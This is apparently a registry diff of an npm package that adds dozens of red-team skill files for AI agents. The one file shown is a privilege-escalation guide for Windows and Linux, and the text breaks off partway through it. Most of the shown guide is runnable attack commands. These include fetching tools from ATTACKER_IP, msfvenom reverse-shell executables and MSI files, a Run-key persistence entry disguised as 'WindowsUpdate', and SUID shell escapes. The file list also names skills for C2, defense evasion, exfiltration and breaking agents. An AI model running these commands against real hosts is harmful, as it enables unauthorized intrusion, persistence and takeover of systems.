rtexit-method 0.1.0 → 0.1.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +9 -7
- package/packaged-assets/.agents/skills/rt-active-recon/SKILL.md +767 -0
- package/packaged-assets/.agents/skills/rt-active-recon/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/customize.toml +76 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/customize.toml +67 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/customize.toml +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/SKILL.md +476 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/SKILL.md +1209 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/template.md +62 -0
- package/packaged-assets/.agents/skills/rt-autodoc/SKILL.md +258 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/SKILL.md +1072 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-compliance-mapper/SKILL.md +773 -0
- package/packaged-assets/.agents/skills/rt-create-sead/SKILL.md +74 -0
- package/packaged-assets/.agents/skills/rt-create-sead/template.md +89 -0
- package/packaged-assets/.agents/skills/rt-create-sead/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md +756 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/SKILL.md +856 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/SKILL.md +542 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/cvss4-matrix.csv +20 -0
- package/packaged-assets/.agents/skills/rt-data-exfiltration/SKILL.md +784 -0
- package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +987 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/SKILL.md +712 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/template.md +31 -0
- package/packaged-assets/.agents/skills/rt-executive-report/SKILL.md +718 -0
- package/packaged-assets/.agents/skills/rt-executive-report/template.md +38 -0
- package/packaged-assets/.agents/skills/rt-executive-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +1078 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/ad-checklist.csv +12 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/SKILL.md +1329 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/masvs-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/SKILL.md +1547 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/SKILL.md +1949 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-bec/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/SKILL.md +865 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-azure/SKILL.md +1258 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-gcp/SKILL.md +981 -0
- package/packaged-assets/.agents/skills/rt-exploit-containers/SKILL.md +55 -0
- package/packaged-assets/.agents/skills/rt-exploit-databases/SKILL.md +1374 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-mac/SKILL.md +834 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/SKILL.md +903 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-dotnet/SKILL.md +945 -0
- package/packaged-assets/.agents/skills/rt-exploit-elasticsearch/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/SKILL.md +1023 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/SKILL.md +1576 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/payloads/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-firebase/SKILL.md +54 -0
- package/packaged-assets/.agents/skills/rt-exploit-frameworks/SKILL.md +967 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/SKILL.md +1693 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/SKILL.md +1860 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/payloads/sqlmap-tampers.txt +22 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/SKILL.md +1214 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/SKILL.md +91 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-java/SKILL.md +1009 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/SKILL.md +1327 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-mongodb/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-mssql/SKILL.md +52 -0
- package/packaged-assets/.agents/skills/rt-exploit-mysql/SKILL.md +53 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/SKILL.md +118 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-nodejs/SKILL.md +852 -0
- package/packaged-assets/.agents/skills/rt-exploit-osticket/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/SKILL.md +173 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/templates/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-php/SKILL.md +1119 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-postgresql/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-python/SKILL.md +986 -0
- package/packaged-assets/.agents/skills/rt-exploit-redis/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ruby/SKILL.md +61 -0
- package/packaged-assets/.agents/skills/rt-exploit-scada/SKILL.md +1091 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/SKILL.md +1528 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/payloads.txt +23 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/SKILL.md +121 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/scripts.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/SKILL.md +1902 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/owasp-checklist.csv +14 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-wireless/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/SKILL.md +1565 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/cves.csv +7 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/SKILL.md +1526 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/payloads.txt +18 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-document/SKILL.md +687 -0
- package/packaged-assets/.agents/skills/rt-finding-document/template.md +71 -0
- package/packaged-assets/.agents/skills/rt-finding-document/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/SKILL.md +216 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-help/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-help/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/SKILL.md +639 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/patterns.txt +27 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-kill-chain-map/SKILL.md +393 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/SKILL.md +1032 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/frameworks.csv +10 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/SKILL.md +668 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/tactics.csv +16 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-osint/SKILL.md +775 -0
- package/packaged-assets/.agents/skills/rt-osint/osint-sources.csv +12 -0
- package/packaged-assets/.agents/skills/rt-osint/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-party-mode/SKILL.md +249 -0
- package/packaged-assets/.agents/skills/rt-party-mode/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-persistence/SKILL.md +1146 -0
- package/packaged-assets/.agents/skills/rt-persistence/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-poc-writer/SKILL.md +640 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/SKILL.md +998 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/windows-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md +1027 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/win-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/SKILL.md +665 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/template.md +28 -0
- package/packaged-assets/.agents/skills/rt-risk-matrix/SKILL.md +232 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-scenario-c001/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c002/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-scenario-c003/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c004/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md +72 -0
- package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md +378 -0
- package/packaged-assets/.agents/skills/rt-scenario-d002/SKILL.md +392 -0
- package/packaged-assets/.agents/skills/rt-scenario-d003/SKILL.md +522 -0
- package/packaged-assets/.agents/skills/rt-scenario-d004/SKILL.md +373 -0
- package/packaged-assets/.agents/skills/rt-scenario-d005/SKILL.md +458 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/scenarios.csv +32 -0
- package/packaged-assets/.agents/skills/rt-scenario-m001/SKILL.md +796 -0
- package/packaged-assets/.agents/skills/rt-scenario-m002/SKILL.md +723 -0
- package/packaged-assets/.agents/skills/rt-scenario-m003/SKILL.md +463 -0
- package/packaged-assets/.agents/skills/rt-scenario-m004/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-m005/SKILL.md +505 -0
- package/packaged-assets/.agents/skills/rt-scenario-n001/SKILL.md +573 -0
- package/packaged-assets/.agents/skills/rt-scenario-n002/SKILL.md +112 -0
- package/packaged-assets/.agents/skills/rt-scenario-n003/SKILL.md +100 -0
- package/packaged-assets/.agents/skills/rt-scenario-n004/SKILL.md +90 -0
- package/packaged-assets/.agents/skills/rt-scenario-n005/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-w001/SKILL.md +635 -0
- package/packaged-assets/.agents/skills/rt-scenario-w002/SKILL.md +612 -0
- package/packaged-assets/.agents/skills/rt-scenario-w003/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-w004/SKILL.md +648 -0
- package/packaged-assets/.agents/skills/rt-scenario-w005/SKILL.md +479 -0
- package/packaged-assets/.agents/skills/rt-scenario-w006/SKILL.md +443 -0
- package/packaged-assets/.agents/skills/rt-scenario-w007/SKILL.md +494 -0
- package/packaged-assets/.agents/skills/rt-scenario-w008/SKILL.md +576 -0
- package/packaged-assets/.agents/skills/rt-scenario-w009/SKILL.md +518 -0
- package/packaged-assets/.agents/skills/rt-scenario-w010/SKILL.md +574 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/SKILL.md +79 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-shodan-recon/SKILL.md +880 -0
- package/packaged-assets/.agents/skills/rt-status/SKILL.md +64 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/SKILL.md +906 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-technical-report/SKILL.md +710 -0
- package/packaged-assets/.agents/skills/rt-technical-report/template.md +41 -0
- package/packaged-assets/.agents/skills/rt-technical-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-threat-model/SKILL.md +59 -0
- package/packaged-assets/.agents/skills/rt-threat-model/template.md +32 -0
- package/packaged-assets/.agents/skills/rt-threat-model/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-timeline/SKILL.md +338 -0
- package/packaged-assets/RTEXIT.md +127 -0
- package/tools/installer/commands/install.js +0 -1
- package/tools/installer/lib/asset-manifest.js +10 -5
- package/tools/installer/lib/banner.js +14 -6
- package/tools/installer/lib/copy-assets.js +5 -2
- package/tools/installer/lib/prompts.js +1 -11
- package/tools/installer/lib/write-config.js +8 -2
- /package/{_rtexit → packaged-assets/_rtexit}/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/config.user.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/custom/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/autodoc_engine.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/finding_tracker.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_config.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_customization.py +0 -0
- /package/{resources → packaged-assets/resources}/certifications.md +0 -0
- /package/{resources → packaged-assets/resources}/payloads.md +0 -0
- /package/{resources → packaged-assets/resources}/tools.md +0 -0
- /package/{resources → packaged-assets/resources}/wordlists.md +0 -0
- /package/{templates → packaged-assets/templates}/attack-chain-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report.md +0 -0
- /package/{templates → packaged-assets/templates}/finding-template.md +0 -0
- /package/{templates → packaged-assets/templates}/remediation-roadmap.md +0 -0
- /package/{templates → packaged-assets/templates}/sead-template.md +0 -0
- /package/{templates → packaged-assets/templates}/technical-report.md +0 -0
|
@@ -0,0 +1,1027 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-privilege-escalation
|
|
3
|
+
description: "Privilege escalation skill for Windows and Linux. Windows: WinPEAS automation, service misconfiguration (unquoted paths), AlwaysInstallElevated, token impersonation (SeImpersonatePrivilege), DLL hijacking, UAC bypass, registry RunKey. Linux: LinPEAS automation, SUID binary abuse via GTFOBins, sudo -l misconfiguration, cron job writable scripts, kernel exploit identification with linux-exploit-suggester, LD_PRELOAD."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-privilege-escalation
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Privilege escalation (PrivEsc) is the act of exploiting misconfigurations, vulnerabilities, or design weaknesses to gain elevated permissions on a compromised host — moving from a low-privilege shell to SYSTEM/root. This skill covers both Windows and Linux environments and is used immediately after initial foothold to gain the access level needed for lateral movement, credential harvesting, and mission objectives.
|
|
11
|
+
|
|
12
|
+
**When to use this skill:**
|
|
13
|
+
- After obtaining any low-privilege shell (webshell, RCE, phishing)
|
|
14
|
+
- After lateral movement lands you on a new host without admin rights
|
|
15
|
+
- When an engagement requires domain admin or SYSTEM-level access
|
|
16
|
+
- During internal penetration tests to demonstrate impact of initial compromise
|
|
17
|
+
|
|
18
|
+
---
|
|
19
|
+
|
|
20
|
+
## Prerequisites and Tool Setup
|
|
21
|
+
|
|
22
|
+
### Attacker Machine (Kali Linux)
|
|
23
|
+
|
|
24
|
+
```bash
|
|
25
|
+
# Update and install core tools
|
|
26
|
+
sudo apt update && sudo apt install -y \
|
|
27
|
+
python3 python3-pip curl wget git \
|
|
28
|
+
mingw-w64 mono-complete \
|
|
29
|
+
nmap crackmapexec evil-winrm
|
|
30
|
+
|
|
31
|
+
# Install PEASS-ng (WinPEAS + LinPEAS)
|
|
32
|
+
git clone https://github.com/carlospolop/PEASS-ng.git /opt/PEASS-ng
|
|
33
|
+
cd /opt/PEASS-ng/winPEAS/winPEASexe && make release # builds WinPEAS binaries
|
|
34
|
+
# Pre-built binaries available in releases: https://github.com/carlospolop/PEASS-ng/releases
|
|
35
|
+
|
|
36
|
+
# Download pre-built WinPEAS and LinPEAS
|
|
37
|
+
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany_amsiescape.exe \
|
|
38
|
+
-O /opt/PEASS-ng/winPEASany_amsiescape.exe
|
|
39
|
+
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh \
|
|
40
|
+
-O /opt/PEASS-ng/linpeas.sh
|
|
41
|
+
chmod +x /opt/PEASS-ng/linpeas.sh
|
|
42
|
+
|
|
43
|
+
# Install linux-exploit-suggester
|
|
44
|
+
git clone https://github.com/The-Z-Labs/linux-exploit-suggester /opt/linux-exploit-suggester
|
|
45
|
+
|
|
46
|
+
# Install Windows privilege escalation tools
|
|
47
|
+
git clone https://github.com/PowerShellMafia/PowerSploit /opt/PowerSploit
|
|
48
|
+
git clone https://github.com/itm4n/PrivescCheck /opt/PrivescCheck
|
|
49
|
+
git clone https://github.com/ohpe/juicy-potato /opt/juicy-potato
|
|
50
|
+
git clone https://github.com/BeichenDream/GodPotato /opt/GodPotato
|
|
51
|
+
|
|
52
|
+
# Install Impacket (for token and credential operations)
|
|
53
|
+
pip3 install impacket
|
|
54
|
+
|
|
55
|
+
# Setup a simple HTTP server for file delivery
|
|
56
|
+
# (run from tool directory when needed)
|
|
57
|
+
# python3 -m http.server 8080
|
|
58
|
+
```
|
|
59
|
+
|
|
60
|
+
### Target Enumeration Baseline
|
|
61
|
+
|
|
62
|
+
Before running automated tools, capture the baseline manually:
|
|
63
|
+
|
|
64
|
+
**Windows:**
|
|
65
|
+
```cmd
|
|
66
|
+
whoami /all
|
|
67
|
+
net user
|
|
68
|
+
net localgroup administrators
|
|
69
|
+
systeminfo
|
|
70
|
+
wmic os get Caption,Version,BuildNumber
|
|
71
|
+
```
|
|
72
|
+
|
|
73
|
+
**Linux:**
|
|
74
|
+
```bash
|
|
75
|
+
id
|
|
76
|
+
uname -a
|
|
77
|
+
cat /etc/os-release
|
|
78
|
+
cat /proc/version
|
|
79
|
+
whoami
|
|
80
|
+
```
|
|
81
|
+
|
|
82
|
+
---
|
|
83
|
+
|
|
84
|
+
## Skill Levels
|
|
85
|
+
|
|
86
|
+
### BEGINNER — Automated Enumeration and Low-Hanging Fruit
|
|
87
|
+
|
|
88
|
+
**Goal:** Run automated scripts, identify obvious misconfigurations, report findings.
|
|
89
|
+
|
|
90
|
+
#### Windows — WinPEAS Automation
|
|
91
|
+
|
|
92
|
+
```powershell
|
|
93
|
+
# Step 1: Transfer WinPEAS to target (from attacker machine)
|
|
94
|
+
# On attacker:
|
|
95
|
+
cd /opt/PEASS-ng && python3 -m http.server 8080
|
|
96
|
+
|
|
97
|
+
# On target (PowerShell):
|
|
98
|
+
Invoke-WebRequest -Uri "http://ATTACKER_IP:8080/winPEASany_amsiescape.exe" -OutFile "C:\Temp\winpeas.exe"
|
|
99
|
+
|
|
100
|
+
# Step 2: Run WinPEAS
|
|
101
|
+
C:\Temp\winpeas.exe > C:\Temp\winpeas_output.txt 2>&1
|
|
102
|
+
type C:\Temp\winpeas_output.txt
|
|
103
|
+
|
|
104
|
+
# Step 3: Run with color output (interactive shell)
|
|
105
|
+
C:\Temp\winpeas.exe fast searchfast
|
|
106
|
+
|
|
107
|
+
# Step 4: PowerShell-based alternative (PrivescCheck)
|
|
108
|
+
Invoke-WebRequest -Uri "http://ATTACKER_IP:8080/PrivescCheck.ps1" -OutFile "C:\Temp\PrivescCheck.ps1"
|
|
109
|
+
Set-ExecutionPolicy Bypass -Scope Process
|
|
110
|
+
Import-Module C:\Temp\PrivescCheck.ps1
|
|
111
|
+
Invoke-PrivescCheck -Extended -Report C:\Temp\privesc_report -Format TXT,HTML
|
|
112
|
+
```
|
|
113
|
+
|
|
114
|
+
#### Linux — LinPEAS Automation
|
|
115
|
+
|
|
116
|
+
```bash
|
|
117
|
+
# Step 1: Transfer LinPEAS
|
|
118
|
+
curl http://ATTACKER_IP:8080/linpeas.sh -o /tmp/linpeas.sh
|
|
119
|
+
chmod +x /tmp/linpeas.sh
|
|
120
|
+
|
|
121
|
+
# Step 2: Run LinPEAS (full output with color)
|
|
122
|
+
/tmp/linpeas.sh 2>/dev/null | tee /tmp/linpeas_output.txt
|
|
123
|
+
|
|
124
|
+
# Step 3: Run without color for log review
|
|
125
|
+
/tmp/linpeas.sh -a 2>/dev/null | sed 's/\x1b\[[0-9;]*m//g' > /tmp/linpeas_clean.txt
|
|
126
|
+
|
|
127
|
+
# Step 4: Quick SUID check
|
|
128
|
+
find / -perm -u=s -type f 2>/dev/null
|
|
129
|
+
|
|
130
|
+
# Step 5: Sudo permissions
|
|
131
|
+
sudo -l
|
|
132
|
+
```
|
|
133
|
+
|
|
134
|
+
**What to look for in output (Beginners):**
|
|
135
|
+
- Red/yellow highlighted findings in WinPEAS/LinPEAS
|
|
136
|
+
- Services running as SYSTEM/root
|
|
137
|
+
- Writable directories in PATH
|
|
138
|
+
- SUID binaries not in standard list
|
|
139
|
+
- Password files or credentials in plaintext
|
|
140
|
+
|
|
141
|
+
---
|
|
142
|
+
|
|
143
|
+
### INTERMEDIATE — Manual Exploitation of Common Misconfigurations
|
|
144
|
+
|
|
145
|
+
#### Windows: Unquoted Service Paths
|
|
146
|
+
|
|
147
|
+
Services with unquoted paths containing spaces can be hijacked by placing a malicious binary in an intermediate directory.
|
|
148
|
+
|
|
149
|
+
```powershell
|
|
150
|
+
# Step 1: Find unquoted service paths
|
|
151
|
+
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
|
|
152
|
+
|
|
153
|
+
# Step 2: Verify with PowerShell
|
|
154
|
+
Get-WmiObject Win32_Service | Select-Object Name, PathName, StartMode | Where-Object {$_.PathName -notmatch '"' -and $_.PathName -notmatch 'C:\\Windows'} | Format-List
|
|
155
|
+
|
|
156
|
+
# Example vulnerable path:
|
|
157
|
+
# C:\Program Files\Vulnerable App\service.exe
|
|
158
|
+
# Attacker can place: C:\Program.exe or C:\Program Files\Vulnerable.exe
|
|
159
|
+
|
|
160
|
+
# Step 3: Check write permissions on intermediate paths
|
|
161
|
+
icacls "C:\Program Files\Vulnerable App"
|
|
162
|
+
# Look for: BUILTIN\Users:(W) or BUILTIN\Users:(F)
|
|
163
|
+
|
|
164
|
+
# Step 4: Generate malicious binary (on attacker machine)
|
|
165
|
+
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe -o /tmp/service_exploit.exe
|
|
166
|
+
|
|
167
|
+
# Step 5: Place binary and start listener
|
|
168
|
+
# On attacker:
|
|
169
|
+
nc -lvnp 4444
|
|
170
|
+
|
|
171
|
+
# On target:
|
|
172
|
+
# Copy to writable intermediate path
|
|
173
|
+
copy C:\Temp\service_exploit.exe "C:\Program Files\Vulnerable.exe"
|
|
174
|
+
|
|
175
|
+
# Step 6: Restart service (if permissions allow)
|
|
176
|
+
sc stop "VulnerableService"
|
|
177
|
+
sc start "VulnerableService"
|
|
178
|
+
# Or wait for system reboot
|
|
179
|
+
```
|
|
180
|
+
|
|
181
|
+
#### Windows: AlwaysInstallElevated
|
|
182
|
+
|
|
183
|
+
```powershell
|
|
184
|
+
# Step 1: Check registry keys (both must be 1)
|
|
185
|
+
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
|
|
186
|
+
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
|
|
187
|
+
|
|
188
|
+
# Step 2: If both return 0x1, generate malicious MSI
|
|
189
|
+
# On attacker:
|
|
190
|
+
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f msi -o /tmp/evil.msi
|
|
191
|
+
|
|
192
|
+
# Step 3: Transfer and execute
|
|
193
|
+
# On target:
|
|
194
|
+
Invoke-WebRequest -Uri "http://ATTACKER_IP:8080/evil.msi" -OutFile "C:\Temp\evil.msi"
|
|
195
|
+
|
|
196
|
+
# Start listener on attacker:
|
|
197
|
+
nc -lvnp 4445
|
|
198
|
+
|
|
199
|
+
# On target:
|
|
200
|
+
msiexec /quiet /qn /i C:\Temp\evil.msi
|
|
201
|
+
```
|
|
202
|
+
|
|
203
|
+
#### Windows: Registry RunKey Persistence + Escalation
|
|
204
|
+
|
|
205
|
+
```powershell
|
|
206
|
+
# Check AutoRun registry keys for writable entries
|
|
207
|
+
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
|
|
208
|
+
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
|
|
209
|
+
|
|
210
|
+
# Add persistence (HKCU — no admin needed)
|
|
211
|
+
reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "WindowsUpdate" /t REG_SZ /d "C:\Temp\payload.exe" /f
|
|
212
|
+
|
|
213
|
+
# Check for HKLM writability (requires admin — useful if you already have it for persistence)
|
|
214
|
+
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "WindowsUpdate" /t REG_SZ /d "C:\Temp\payload.exe" /f
|
|
215
|
+
```
|
|
216
|
+
|
|
217
|
+
#### Linux: SUID Binary Abuse via GTFOBins
|
|
218
|
+
|
|
219
|
+
```bash
|
|
220
|
+
# Step 1: Find all SUID binaries
|
|
221
|
+
find / -perm -u=s -type f 2>/dev/null | sort
|
|
222
|
+
|
|
223
|
+
# Step 2: Cross-reference with GTFOBins (https://gtfobins.github.io)
|
|
224
|
+
# Common exploitable SUID binaries:
|
|
225
|
+
|
|
226
|
+
# nmap (older versions)
|
|
227
|
+
nmap --interactive
|
|
228
|
+
nmap> !sh
|
|
229
|
+
|
|
230
|
+
# vim/vi
|
|
231
|
+
vim -c ':!/bin/bash'
|
|
232
|
+
# or if vim has SUID:
|
|
233
|
+
/usr/bin/vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
|
|
234
|
+
|
|
235
|
+
# find
|
|
236
|
+
find . -exec /bin/bash -p \; -quit
|
|
237
|
+
|
|
238
|
+
# bash (if SUID set)
|
|
239
|
+
bash -p
|
|
240
|
+
|
|
241
|
+
# python
|
|
242
|
+
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
|
|
243
|
+
|
|
244
|
+
# less/more
|
|
245
|
+
less /etc/passwd
|
|
246
|
+
!/bin/sh
|
|
247
|
+
|
|
248
|
+
# awk
|
|
249
|
+
awk 'BEGIN {system("/bin/bash -p")}'
|
|
250
|
+
|
|
251
|
+
